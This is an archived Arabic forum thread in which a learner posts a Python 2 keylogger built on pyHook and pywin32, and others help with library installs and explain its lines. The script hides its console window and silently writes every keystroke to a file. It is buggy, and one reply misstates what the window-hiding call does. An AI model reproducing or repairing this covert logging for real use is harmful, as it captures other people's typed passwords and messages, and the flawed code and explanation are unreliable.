الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

استفسار عن PyHook & Pywin32

بدأه Amin0u في 24 يونيو 2013 · 8 رد · 707 مشاهدة · في لغة Python
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم 

 

في أول موضع لي  أردت الاستفسار عن مكتبة  PyHook & Pywin32 

 

لاني معرفتي بالبايثون سطحية رغم اني متمكن من جميع الأساسيات

 

انا أستعمل بايثون 3 و هي التي تعلمتها من موقع فرنسي site du zero

 

و PyHook & Pywin32  على ما أعتقد تدعم فقط نسخ x.2  لاني لم أستطع استعمالها في سكريبت Keylogger

 

و هذا هو كود Keyloger  رغم اني لم أفهم بعض الأسطر اردت تشريحه لأفهمه جيدا لكني بدون المكتبة لا أستطيع ممكن افادتي :

 

1# download python http://www.python.org/getit/ Python 2.7.3 Windows Installer (Windows binary -- does not include source)
2# Get pyhook http://pyhook.sourceforge.net/projects/pyhook/files/
3#.download win32 for u python version http://starship.python.net/crew/mhammond/win32/Downloads.html
4#.open notepad and write the python code
python code:
import win32api
import win32console
import win32gui
 
import pythoncom, pyhook
 
win = win32console.GetConsole()
win32gui.ShowWindow(win,0)
 
def onkeyboeardEvent (event) :
    if event.Ascii==6:
        _exit(1)
 
    if event.Ascii != 0 or 8:
        f=open('c:\output.txt','r')
        f.close
        f=open('c:\output.txt','w')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
        buffer +=keylogs
        f.write(buffer)
        f.close()
 
hm = pyHook.HookManager()
hm.keydown = OnKeyboeardEvent
hm.HookKeyboard()
pythoncom.pumpMessages()
 
5#.save it as something.py and open it.
6#.Then u go to the output.txt and see what u have write.
#2

تستطيع تنصيب python 2.7  ... وكذلك pywin32 تعمل على Python 3

https://pypi.python.org/pypi/pywin32

 

 

لاأستخدم ويندوز ولكن الأمر يبدو مباشرا جدا

 

hm = pyHook.HookManager()
hm.keydown = OnKeyboeardEvent
hm.HookKeyboard()

هنا تنشئ مدير لل hooks ... وتريد الإعلام وتنفيذ دالة معينة OnKeyboardEvent عندما يتم الضغط على زر 

 

الدالة OnKeyboardEvent معرفة كالتالي

 

 
def onkeyboeardEvent (event) :
if event.Ascii==6:
_exit(1)

if event.Ascii != 0 or 8:
f=open('c:\output.txt','r')
f.close
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer +=keylogs
f.write(buffer)
f.close()

 

 

ويتم هنا النظر إلى قيمة الحرف المقابلة في جدول ال ASCII 

مثل إذا كان \n او backspace او غيرها

 

أنظر في قسم Windows API في المنتدى لتستفيد أكثر 

1
(map share people)

فضلا لاتقم بمراسلتي من أجل أسئلة لها أقسامها في المنتدى حتى تعم الفائدة على الجميع وللحصول على إجابات أفضل من أعضاء أكثر خبرة.
Weblog
@bitbucket
@xmonader

#3
اخي الكريم 

بما حديث العهد ببايثون لماذا لاتستعمل الاصدار2.6

فالمكتبة تتوافق مع هذا الاصدار

 

ماذا لم تفهم بالضبط ؟
1
#4

شكرا على تفاعلكم مع استفساري 

 

هل يوجد بديل لمكتبة Pyhook بالنسبة لنسخة بايثون 3

#5

http://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook

1
(map share people)

فضلا لاتقم بمراسلتي من أجل أسئلة لها أقسامها في المنتدى حتى تعم الفائدة على الجميع وللحصول على إجابات أفضل من أعضاء أكثر خبرة.
Weblog
@bitbucket
@xmonader

#6

شكرا جزيلا أخي أحمد تحياتي لك

#7

تم حل مشكل المكتبات شكرا جزيلا

+++++++++++++++++++++++

[ltr]win = win32console.GetConsole()
win32gui.ShowWindow(win,0)
[/ltr]

يتعلقان بأي مكتبة و ما دورهما ان أمكن 

++++++++++++++++++++++++

hm.keydown = OnKeyboeardEvent

OnKeyboeardEvent هل هيا الدالة التي انشأتها  اذا كان نعم لماذا لا تحتوي على باراميتر عند استدعائها

++++++++++++++++++

و شكرا جزيلا هذا الكود على حسب ما رأيت منقوص و فيه بعض الأخطاء رغم محدودية معرفتي باللغة

#8
win = win32console.GetConsole()win32gui.ShowWindow(win,0)

هذا الكود لإنشاء لإنشاء نافذة لل console الخاصة بتطبيقات ال character-mode

 

 

	hm.keydown = OnKeyboeardEvent

ومن قال لك أن هذا كود إستدعاء لها أصلا ؟

 

هذا كود إسناد ، يتم فيه ربط دالة OnKeyboardEvent بحدث keydown ، (ليتم إستدعائها لاحقا)

 

--

تستطيع مراجعة الكود ﻷي مشاكل أخرى تواجهك وتتأكد من عدم وجود أخطاء في الكتابة

1
(map share people)

فضلا لاتقم بمراسلتي من أجل أسئلة لها أقسامها في المنتدى حتى تعم الفائدة على الجميع وللحصول على إجابات أفضل من أعضاء أكثر خبرة.
Weblog
@bitbucket
@xmonader

#9

شكرا جزيلا أخي أحمد على كل المعلومات

مواضيع مشابهة